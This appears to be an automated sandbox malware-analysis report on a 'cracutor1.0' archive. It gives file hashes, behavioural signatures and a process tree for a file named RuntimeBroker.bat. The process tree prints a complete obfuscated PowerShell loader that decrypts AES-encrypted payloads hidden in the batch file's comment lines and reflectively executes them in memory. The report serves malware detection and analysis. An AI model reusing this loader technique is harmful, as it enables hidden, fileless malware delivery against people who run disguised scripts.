Overview
overview
10Static
static
3cracutor1....it.dll
windows7-x64
1cracutor1....it.dll
windows10-2004-x64
1cracutor1....ne.exe
windows7-x64
3cracutor1....ne.exe
windows10-2004-x64
3cracutor1....er.bat
windows7-x64
8cracutor1....er.bat
windows10-2004-x64
10cracutor1....ity.js
windows7-x64
3cracutor1....ity.js
windows10-2004-x64
3cracutor1....or.bat
windows7-x64
3cracutor1....or.bat
windows10-2004-x64
10Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25/05/2024, 19:25
Static task
static1
Behavioral task
behavioral1
Sample
cracutor1.0/cracutor (1)/ICSharpCode.AvalonEdit.dll
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
cracutor1.0/cracutor (1)/ICSharpCode.AvalonEdit.dll
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
cracutor1.0/cracutor (1)/Neptune.exe
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
cracutor1.0/cracutor (1)/Neptune.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
cracutor1.0/cracutor (1)/RuntimeBroker.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
cracutor1.0/cracutor (1)/RuntimeBroker.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
cracutor1.0/cracutor (1)/Scripts/Infinity.js
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
cracutor1.0/cracutor (1)/Scripts/Infinity.js
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
cracutor1.0/cracutor (1)/cracutor.bat
Resource
win7-20240220-en
Behavioral task
behavioral10
Sample
cracutor1.0/cracutor (1)/cracutor.bat
Resource
win10v2004-20240508-en
General
-
Target
cracutor1.0/cracutor (1)/RuntimeBroker.bat
-
Size
1.4MB
-
MD5
5f2ca709edfb4aab62c0d293fc078a8d
-
SHA1
e0ee77775465e261c7e0f48643c6d66af21841c2
-
SHA256
5edd619490ce715b05fa88acb9865fa2c290949483b5813f70083d4480e4bf05
-
SHA512
833edd2aadcd390eeb9e264bdcbb790fa013b3141a5e092ed4f23b819903f6fce0edd68e337dd8801bc3529b80521b2aeddf06f245a6df37d1a3b2af97d41eaf
-
SSDEEP
24576:Jo2hIxM0iKuWJzW21FPYEbTT9bLZfSRAHRtaBLmc2ZlzLMLM1XwXuV:s++iu3b15f7t4l0LMLM0uV
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1200 powershell.exe -
Deletes itself 1 IoCs
pid Process 2112 cmd.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1200 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2112 wrote to memory of 1200 2112 cmd.exe 29 PID 2112 wrote to memory of 1200 2112 cmd.exe 29 PID 2112 wrote to memory of 1200 2112 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat"1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bGqAVpTkbyYHaVSHHBPmXa3kZNv3H8sCS4IjMuFm+Ow='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BbGL3tLWlvORK8IKqoYaHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SERoH=New-Object System.IO.MemoryStream(,$param_var); $uVeFk=New-Object System.IO.MemoryStream; $zXgAh=New-Object System.IO.Compression.GZipStream($SERoH, [IO.Compression.CompressionMode]::Decompress); $zXgAh.CopyTo($uVeFk); $zXgAh.Dispose(); $SERoH.Dispose(); $uVeFk.Dispose(); $uVeFk.ToArray();}function execute_function($param_var,$param2_var){ $REYPt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Drhro=$REYPt.EntryPoint; $Drhro.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat';$mZiIG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\RuntimeBroker.bat').Split([Environment]::NewLine);foreach ($dACJS in $mZiIG) { if ($dACJS.StartsWith(':: ')) { $tZasG=$dACJS.Substring(3); break; }}$payloads_var=[string[]]$tZasG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200
-